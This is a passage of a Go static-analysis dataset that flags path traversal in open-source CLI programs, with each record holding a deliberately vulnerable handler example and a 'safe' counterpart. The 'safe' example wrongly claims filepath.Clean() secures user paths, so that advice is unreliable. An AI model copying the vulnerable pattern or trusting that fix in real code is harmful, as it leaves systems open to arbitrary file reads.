address\")\n\tflag.StringVar(&protocol,\n\t\t\"proto\",\n\t\t\"tcp\",\n\t\t\"Protocol family (unix or tcp)\")\n\tflag.StringVar(&file,\n\t\t\"file\",\n\t\t\"\",\n\t\t\"EML file\")\n\tflag.Usage = func() {\n\t\tfmt.Printf(\"yaramilter_cli\\n Version: %s\\n\\n\", Version)\n\t\tflag.PrintDefaults()\n\t}\n\tflag.Parse()\n\n\tif _, err := os.Stat(file); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\n\tresponse := \"a\"\n\tmsgID := \"\"\n\n\tteml, err := os.Open(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer teml.Close()\n\tenv, e := enmime.ReadEnvelope(teml)\n\tif e != nil {\n\t\tlog.Fatal(e)\n\t}\n\n\tmsgID = env.GetHeader(\"Message-ID\")\n\n\tif len(env.Attachments) > 0 {\n\t\teml, _ := os.Open(file)\n\t\tdefer eml.Close()\n\t\tlast, err := SendEmlSock(eml, protocol, address, msgID)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error sending eml to milter: %v\", err)\n\t\t}\n\t\tresponse = string(last)\n\t}\n\n\tfmt.Printf(\"MsgId: %s, Lastmilter code: %s\\n\", msgID, response)\n\n}\n", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "b420438198ec0052a7b3738857b98908669de3dd04dbc4229435ce6591086c98", "license": {"spdx": ["MIT"], "repo": "hooksie1/goniq", "path": "cmd/main.go", "repo_head_hexsha": "f7a9551a3b1b58de7591cb3d32d7d37e42d52d75", "stack_hexsha": "021e2f030c58df99718c4faa0ba5f5b9ad3078e8", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 21, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"flag\"\n\t\n\t\"gitlab.com/hooksie1/goniq\"\n)\n\nvar file string\n\nfunc init() {\n\tflag.StringVar(&file, \"file\", \"\", \"file to use\")\n}\n\nfunc main() {\n\n\tflag.Parse()\n\n\t\tfile, err := os.Open(file)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\n\t\tlist := goniq.Uniq(file)\n\n\t\tfor _, v := range list {\n\t\t\tfmt.Printf(\"%v \\n\", v)\n\t\t}\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Open"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 21, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "5329329b7ed4691a574b43c77ffac64d0128cba1d279f5d9ac00a08df0005ca0", "license": {"spdx": ["MIT"], "repo": "Acidburn0zzz/tai64", "path": "tools/generate.go", "repo_head_hexsha": "2f25469effa8dbb934565cc6a9dc91a7ab82db5a", "stack_hexsha": "6c2309b4fed119422f708304815ef66b0b24dd1f", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 129, "entireCode": "// Copyright (c) 2012-2016 \n// Use of this source code is governed by an MIT-style\n// license that can be found in the LICENSE file.\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst tplText = `\n// Copyright (c) 2012-2016 \n// Use of this source code is governed by an MIT-style\n// license that can be found in the LICENSE file.\n\n// THIS FILE IS AUTOGENERATED. DO NOT EDIT!\n\npackage {{.Pkg}}\n\n// http://maia.usno.navy.mil/ser7/tai-utc.dat\n// http://www.stjarnhimlen.se/comp/time.html\nvar tia64nDifferences = []struct {\n\tutime int64\n\toffset int64\n}{\n\t{{- range .Entries}}\n\t{{\"{\"}}{{.Ts}}, {{.Drift}}{{\"}\"}}, // {{.TsD}}\n\t{{- end}}\n}\n\nvar tia64nSize = len(tia64nDifferences)\n`\n\ntype srcFile struct {\n\tPkg string\n\tEntries []entry\n}\n\ntype entry struct {\n\tTs int64\n\tTsD string\n\tDrift int64\n}\n\nfunc main() {\n\tvar output, input, pkg string\n\tflag.StringVar(&output, \"output\", \"\", \"output file\")\n\tflag.StringVar(&input, \"input\", \"\", \"input file\")\n\tflag.StringVar(&pkg, \"pkg\", \"\", \"package name\")\n\tflag.Parse()\n\n\tif output == \"\" {\n\t\tlog.Fatal(\"Output option is required\")\n\t}\n\n\tif pkg == \"\" {\n\t\tlog.Fatal(\"Package option is required\")\n\t}\n\n\tvar br *bufio.Reader\n\tif input == \"\" {\n\t\tinput = \"http://maia.usno.navy.mil/ser7/tai-utc.dat\"\n\t\tresp, err := http.Get(input)\n\t\tif err != nil {\n\t\t\tos.Exit(1)\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tbr = bufio.NewReader(resp.Body)\n\t} else {\n\t\tf, err := os.Open(input)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Cant open file: %s\", err)\n\t\t}\n\t\tdefer f.Close()\n\t\tbr = bufio.NewReader(f)\n\t}\n\n\tfmt.Printf(\"Generating %s based on %s\\n\", path.Base(output), path.Base(input))\n\n\tt, err := template.New(\"fileTemplate\").Parse(strings.TrimLeft(tplText, \"\\n\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tentries := make([]entry, 0)\n\n\tfor {\n\t\tline, err := br.ReadString('\\n')\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\n\t\tline = strings.TrimSpace(line)\n\t\tif line == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tparts := strings.Fields(line)\n\t\tt, err := time.Parse(\"2006 Jan 2\", strings.Title(strings.Join(parts[0:3], \" \")))\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tcontinue\n\t\t}\n\n\t\tif t.Before(time.Date(1972, 1, 1, 0, 0, 0, 0, time.UTC)) {\n\t\t\tcontinue\n\t\t}\n\n\t\ts, err := strconv.ParseFloat(parts[6], 32)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tcontinue\n\t\t}\n\t\t// just truncate the float to int\n\t\te := entry{t.Unix(), t.Format(time.RFC3339), int64(s)}\n\t\tentries = append(entries, e)\n\t}\n\n\tw, err := os.Create(output)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer w.Close()\n\n\twriter := bufio.NewWriter(w)\n\tdefer writer.Flush()\n\n\tsrcfile := &srcFile{pkg, entries}\n\terr = t.Execute(writer, srcfile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 129, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "fc1ebc1f94502a472e2f767fc28e755a477bc0d34f8a92455f69277101a4b269", "license": {"spdx": ["Apache-2.0"], "repo": "kelseyhightower/secrets", "path": "main.go", "repo_head_hexsha": "bb807905cdaea7d6cd4241fd33b1ac3c8322fb3f", "stack_hexsha": "4c878ae3d59bc5cea0b74c7c9f3a8a6c12cd35fd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 45, "entireCode": "// Copyright 2017 Google Inc. All Rights Reserved.\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n//\n// You may obtain a copy of the License at\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n)\n\nvar (\n\tconfig string\n\tpassword string\n\tusername string\n)\n\nfunc main() {\n\tflag.StringVar(&config, \"config\", \"/etc/secrets/config.json\", \"The configuration file.\")\n\tflag.StringVar(&password, \"password\", \"\", \"The password.\")\n\tflag.StringVar(&username, \"username\", \"\", \"The username.\")\n\tflag.Parse()\n\n\tlog.SetFlags(0)\n\n\tif os.Getenv(\"OSCON_PASSWORD\") != \"\" {\n\t\tpassword = os.Getenv(\"OSCON_PASSWORD\")\n\t}\n\n\tif os.Getenv(\"OSCON_USERNAME\") != \"\" {\n\t\tusername = os.Getenv(\"OSCON_USERNAME\")\n\t}\n\n\tdata, err := ioutil.ReadFile(config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tlog.Printf(\"Username: %s\", username)\n\tlog.Printf(\"Password: %s\", password)\n\tlog.Println(\"Config:\")\n\tlog.Println(string(data))\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "3e538965251d1ad8a25fd55d1e587e0898eab4d850e676481aaf32e3e49601eb", "license": {"spdx": ["Apache-2.0"], "repo": "clsrfish/invest", "path": "cmd/app/main.go", "repo_head_hexsha": "ad85e469074d487ae7f500b760f0886611be22d3", "stack_hexsha": "c4fa5295f1ed6678245054a7d8be974eec15ca5d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 48, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/url\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/clsrfish/invest/internal/download\"\n\t\"github.com/clsrfish/invest/internal/parser\"\n\n\t\"github.com/samber/lo\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nconst (\n\tdefaultInputFile = \"./input.txt\"\n\tdefaultOutputFile = \"./books.csv\"\n)\n\ntype SortByVal []lo.Entry[string, int]\n\nfunc (a SortByVal) Len() int { return len(a) }\nfunc (a SortByVal) Swap(i, j int) { a[i], a[j] = a[j], a[i] }\nfunc (a SortByVal) Less(i, j int) bool {\n\tif a[i].Value != a[j].Value {\n\t\treturn a[i].Value < a[j].Value\n\t}\n\treturn a[i].Key < a[j].Key\n}\n\nvar (\n\tinputf string\n\toutputf string\n)\n\nfunc main() {\n\n\tflag.StringVar(&inputf, \"i\", defaultInputFile, \"Input file\")\n\tflag.StringVar(&outputf, \"o\", defaultOutputFile, \"Output file\")\n\tflag.Parse()\n\n\tsites := make(map[string]int)\n\tif input, err := os.Open(inputf); err != nil {\n\t\tpanic(err)\n\t} else {\n\t\tsc := bufio.NewScanner(input)\n\t\tfor sc.Scan() {\n\t\t\tline := sc.Text()\n\t\t\tline = strings.TrimSpace(line)\n\t\t\tif strings.HasPrefix(line, \"//\") {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif _, err := url.Parse(line); err != nil {\n\t\t\t\tlog.Warnf(\"invalid url: %s\\n\", line)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsites[line] = 1\n\t\t}\n\t}\n\n\trecommendation := make(map[string]int, 0)\n\n\tlo.ForEach(lo.Keys(sites), func(site string, i int) {\n\t\tf, err := download.Download(site)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tif bs, err := ioutil.ReadFile(f); err != nil {\n\t\t\tpanic(err)\n\t\t} else {\n\t\t\tbooks := parser.ParseBooks(string(bs))\n\t\t\tfor book := range books {\n\t\t\t\trecommendation[book] += 1\n\t\t\t}\n\t\t}\n\t})\n\n\tres := lo.Entries(recommendation)\n\tsort.Sort(SortByVal(res))\n\tres = lo.Reverse(res)\n\tlog.Infof(\"total: %d\\n\", len(res))\n\tif output, err := os.OpenFile(outputf, os.O_CREATE|os.O_WRONLY, os.ModePerm); err != nil {\n\t\tpanic(err)\n\t} else {\n\t\toutput.WriteString(\"book, recommends\\n\")\n\t\tfor _, entry := range res {\n\t\t\toutput.WriteString(fmt.Sprintf(\"\\\"%s\\\", %d\\n\", entry.Key, entry.Value))\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 48, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "79ca9294a552a195987f7dd5cbbfbc9ea4dcfa9d258bbff1946db460b0731ef4", "license": {"spdx": ["BSD-3-Clause"], "repo": "kiteco/kiteco-public", "path": "kite-go/segment-analysis/cmds/index-events/main.go", "repo_head_hexsha": "74aaf5b9b0592153b92f7ed982d65e15eea885e3", "stack_hexsha": "90a4427a722a9597c0c0b37dbb6d948fdba8cee0", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 613, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kiteco/kiteco/kite-go/segment-analysis/internal/tracks\"\n\tchart \"github.com/wcharczuk/go-chart\"\n)\n\nvar (\n\tknownFailureTypes = []string{\n\t\t\"no files selected\",\n\t\t\"missing file hashes\",\n\t\t\"requested file path not found in file listing\",\n\t\t\"requested file path not found in dir\",\n\t\t\"requested file path excluded from index\",\n\t\t\"requested build path not in walked root directory\",\n\t\t\"start path not valid file\",\n\t\t\"stat\",\n\t\t\"kitectx.Context expired: context deadline exceeded\",\n\t\t\"expected path to begin\",\n\t}\n\t// maps from uid -> bool\n\tseenFailureTypes = make(map[string]bool)\n\tnewFailureTypes = make(map[string]bool)\n\tusers = make(map[string]bool)\n\tusersWithIndexAdded = make(map[string]bool)\n\tusersWithParseTimeout = make(map[string]bool)\n\tseenReasons = make(map[string]bool)\n\t// map from uid -> failure type -> bool\n\tusersWithIndexFailure = make(map[string]map[string]bool)\n\t// maps from client version -> durations\n\tbuildDurations = make(map[string][]float64)\n\tparseDurations = make(map[string][]float64)\n\tavgCPU = make(map[string][]float64)\n\tmaxCPU = make(map[string][]float64)\n)\n\ntype statsByDay struct {\n\tday time.Time\n\n\t// counts by unique uid\n\ttotalUsers map[string]bool\n\tfailedUsers map[string]bool\n\tsuccessUsers map[string]bool\n\tfilteredUsers map[string]bool\n\n\t// counts by event\n\ttotalEvents int\n\tfailedEvents int\n\tjobFailureTypes map[string]int\n\tjobFailureTypesUsers map[string]map[string]bool\n\ttotalVersion int\n\tolderVersion int // how many events have version < minVersion\n\tolderVersionUsers map[string]bool\n\tolderVersions map[string]int\n\tfilteredReasonsUsers map[string]map[string]int\n}\n\nvar totalStats []statsByDay\n\nfunc main() {\n\tvar days int\n\tvar old, verbose, groupByMonth bool\n\tvar platform, minVersion string\n\tflag.IntVar(&days, \"days\", 3, \"days of events to receive\")\n\tflag.BoolVar(&old, \"old\", false, \"use old Client Event source\")\n\tflag.StringVar(&platform, \"platform\", \"darwin\", \"platform (windows, darwin, or linux)\")\n\tflag.StringVar(&minVersion, \"minVersion\", \"\", \"minimum client version (0.YYYYMMDD.X for darwin, 1.YYYY.MMDD.X for windows, 2.YYYYMMDD.X for linux)\")\n\tflag.BoolVar(&verbose, \"verbose\", false, \"print uids for users with parse timeouts and no successful index builds\")\n\tflag.BoolVar(&groupByMonth, \"groupByMonth\", false, \"group client version by month\")\n\tflag.Parse()\n\n\tsource := tracks.ClientEventSource\n\tif old {\n\t\tsource = tracks.OldClientEventSource\n\t}\n\tlisting, err := tracks.List(tracks.Bucket, source)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tfor idx, day := range listing.Days {\n\t\tif idx < len(listing.Days)-days {\n\t\t\tcontinue\n\t\t}\n\n\t\tr := tracks.NewReader(tracks.Bucket, day.Keys, 8)\n\t\tgo r.StartAndWait()\n\n\t\tcurrentStats := statsByDay{\n\t\t\tday: day.Day,\n\t\t\ttotalUsers: make(map[string]bool),\n\t\t\tfailedUsers: make(map[string]bool),\n\t\t\tsuccessUsers: make(map[string]bool),\n\t\t\tfilteredUsers: make(map[string]bool),\n\t\t\tjobFailureTypes: make(map[string]int),\n\t\t\tjobFailureTypesUsers: make(map[string]map[string]bool),\n\t\t\tolderVersionUsers: make(map[string]bool),\n\t\t\tolderVersions: make(map[string]int),\n\t\t\tfilteredReasonsUsers: make(map[string]map[string]int),\n\t\t}\n\t\tfor track := range r.Tracks {\n\t\t\tswitch track.Event {\n\t\t\tcase \"Local Index Added\":\n\t\t\t\tuid := tracks.ParseUserID(track)\n\t\t\t\tusersWithIndexAdded[uid] = true\n\t\t\t\tcontinue\n\t\t\tcase \"Index Build Filtered\":\n\t\t\t\tif track.Properties[\"platform\"].(string) != platform {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tuid := tracks.ParseUserID(track)\n\t\t\t\treason := track.Properties[\"reason\"].(string)\n\t\t\t\tif _, ok := currentStats.filteredReasonsUsers[reason]; !ok {\n\t\t\t\t\tcurrentStats.filteredReasonsUsers[reason] = make(map[string]int)\n\t\t\t\t}\n\t\t\t\tcurrentStats.filteredReasonsUsers[reason][uid]++\n\t\t\t\tseenReasons[reason] = true\n\t\t\t\tcurrentStats.filteredUsers[uid] = true\n\t\t\t\tcontinue\n\t\t\tcase \"Index Build\":\n\t\t\t\tif track.Properties[\"platform\"].(string) != platform {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tuid := tracks.ParseUserID(track)\n\t\t\t\tclientVersion := track.Properties[\"client_version\"].(string)\n\t\t\t\tcurrentStats.totalVersion++\n\t\t\t\tif minVersion != \"\" && clientVersion < minVersion {\n\t\t\t\t\tcurrentStats.olderVersion++\n\t\t\t\t\tcurrentStats.olderVersionUsers[uid] = true\n\t\t\t\t\tcurrentStats.olderVersions[clientVersion]++\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif groupByMonth {\n\t\t\t\t\tlastDot := strings.LastIndex(clientVersion, \".\")\n\t\t\t\t\tif lastDot-2 < 0 || len(clientVersion) <= lastDot-2 {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\t// strip end from version which includes day\n\t\t\t\t\tclientVersion = clientVersion[:lastDot-2]\n\t\t\t\t}\n\n\t\t\t\tcurrentStats.totalEvents++\n\t\t\t\tcurrentStats.totalUsers[uid] = true\n\t\t\t\tusers[uid] = true\n\n\t\t\t\t// determine if job did not succeed and why\n\t\t\t\terrStr := track.Properties[\"error\"].(string)\n\t\t\t\tvar errMsg string\n\t\t\t\tif errStr != \"\" {\n\t\t\t\t\tcurrentStats.failedEvents++\n\n\t\t\t\t\terrMsg = errStr\n\t\t\t\t\tvar exists bool\n\t\t\t\t\tfor _, ft := range knownFailureTypes {\n\t\t\t\t\t\t// concatenated failure type that includes only error type, not\n\t\t\t\t\t\t// job and user-specific details\n\t\t\t\t\t\tif strings.Contains(errStr, ft) {\n\t\t\t\t\t\t\terrMsg = ft\n\t\t\t\t\t\t\texists = true\n\t\t\t\t\t\t\tseenFailureTypes[ft] = true\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif !exists {\n\t\t\t\t\t\t// track in order to update known failure types\n\t\t\t\t\t\tnewFailureTypes[errMsg] = true\n\t\t\t\t\t\terrMsg = \"other\"\n\t\t\t\t\t}\n\t\t\t\t\tif currentStats.jobFailureTypesUsers[errMsg] == nil {\n\t\t\t\t\t\tcurrentStats.jobFailureTypesUsers[errMsg] = make(map[string]bool)\n\t\t\t\t\t}\n\t\t\t\t\tcurrentStats.jobFailureTypes[errMsg]++\n\t\t\t\t\tcurrentStats.jobFailureTypesUsers[errMsg][uid] = true\n\t\t\t\t\tcurrentStats.failedUsers[uid] = true\n\t\t\t\t\tif _, ok := usersWithIndexFailure[uid]; !ok {\n\t\t\t\t\t\tusersWithIndexFailure[uid] = make(map[string]bool)\n\t\t\t\t\t}\n\t\t\t\t\tusersWithIndexFailure[uid][errMsg] = true\n\t\t\t\t} else {\n\t\t\t\t\tcurrentStats.successUsers[uid] = true\n\t\t\t\t}\n\n\t\t\t\t// track build durations for graphing percentiles\n\t\t\t\tb := track.Properties[\"since_start_ns\"].(float64)\n\t\t\t\tif b > 0 {\n\t\t\t\t\tbuildDurations[clientVersion] = append(buildDurations[clientVersion], b/float64(time.Millisecond))\n\t\t\t\t}\n\n\t\t\t\t// track max and average cpu usage for graphing percentiles\n\t\t\t\tif track.Properties[\"cpu_info\"] != nil {\n\t\t\t\t\tcpuInfo := track.Properties[\"cpu_info\"].(map[string]interface{})\n\t\t\t\t\tcount := cpuInfo[\"count\"]\n\t\t\t\t\tsum := cpuInfo[\"sum\"]\n\t\t\t\t\tif count != nil && sum != nil && count.(float64) != 0 {\n\t\t\t\t\t\tavgCPU[clientVersion] = append(avgCPU[clientVersion], sum.(float64)/count.(float64))\n\t\t\t\t\t}\n\t\t\t\t\tmax := cpuInfo[\"max\"]\n\t\t\t\t\tif max != nil {\n\t\t\t\t\t\tmaxCPU[clientVersion] = append(maxCPU[clientVersion], max.(float64))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif track.Properties[\"parse_info\"] == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tparseInfo := track.Properties[\"parse_info\"].(map[string]interface{})\n\t\t\t\tparseTimeouts := parseInfo[\"parse_failures\"].(float64)\n\t\t\t\tif parseTimeouts > 0 {\n\t\t\t\t\tusersWithParseTimeout[uid] = true\n\t\t\t\t}\n\t\t\t\tparses := parseInfo[\"parse_durations\"]\n\t\t\t\tif parses == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfor _, d := range parses.([]interface{}) {\n\t\t\t\t\tparseDurations[clientVersion] = append(parseDurations[clientVersion], d.(float64)/float64(time.Millisecond))\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tcontinue\n\n\t\t\t}\n\t\t}\n\t\t// update stats for given day\n\t\ttotalStats = append(totalStats, currentStats)\n\t}\n\n\tlog.Printf(\"%s REPORTS\", strings.ToUpper(platform))\n\tfor _, stats := range totalStats {\n\t\t// generate daily report\n\t\tlog.Println(\"building report for \", stats.day.Format(\"2006-01-02\"))\n\n\t\tlog.Printf(\"Total Events: %d\", stats.totalEvents)\n\t\tlog.Printf(\"Failed Events: %d\", stats.failedEvents)\n\t\tlog.Printf(\"Total Users: %d\", len(stats.totalUsers))\n\t\tlog.Printf(\"Failed Users: %d\", len(stats.failedUsers))\n\t\tlog.Println(\"---\")\n\n\t\t// user stats\n\t\tlog.Printf(\"Percentage of users that have a failed job: %f\", float64(len(stats.failedUsers))/float64(len(stats.totalUsers))*100)\n\t\tlog.Println(\"---\")\n\n\t\t// event stats\n\t\tlog.Printf(\"Percentage of jobs that failed: %f\", float64(stats.failedEvents)/float64(stats.totalEvents)*100)\n\t\tlog.Println(\"---\")\n\n\t\t// failure stats\n\t\tlog.Printf(\"Failure types (%% failures, unique user count):\")\n\t\tfor reason, count := range stats.jobFailureTypes {\n\t\t\tif count > 0 {\n\t\t\t\tlog.Printf(\"%s: %f, %d\", reason, float64(count)/float64(stats.failedEvents)*100, len(stats.jobFailureTypesUsers[reason]))\n\t\t\t}\n\t\t}\n\t\tlog.Println(\"---\")\n\n\t\t// filtered stats\n\t\ttotal := len(stats.filteredUsers) + len(stats.totalUsers)\n\t\tlog.Printf(\"Percentage of users with index builds filtered: %f (%d/%d)\", float64(len(stats.filteredUsers))/float64(total), len(stats.filteredUsers), total)\n\t\tlog.Println(\"---\")\n\n\t\t// version stats\n\t\tlog.Printf(\"Versions older than: %s\", minVersion)\n\t\tfor v, n := range stats.olderVersions {\n\t\t\tlog.Printf(\"%s: %d\", v, n)\n\t\t}\n\t\tlog.Printf(\"\\n\\n\\n\")\n\t}\n\tlog.Println(\"---\")\n\n\t// notify of new failure types\n\tlog.Println(\"New failure types:\")\n\tfor ft := range newFailureTypes {\n\t\tlog.Println(ft)\n\t}\n\tlog.Printf(\"\\n\\n\\n\")\n\n\t// verbose info\n\tif verbose {\n\t\tlog.Println(\"---\")\n\t\tneverAdded := make(map[string]map[string]bool)\n\t\tfor uid, failures := range usersWithIndexFailure {\n\t\t\tif _, 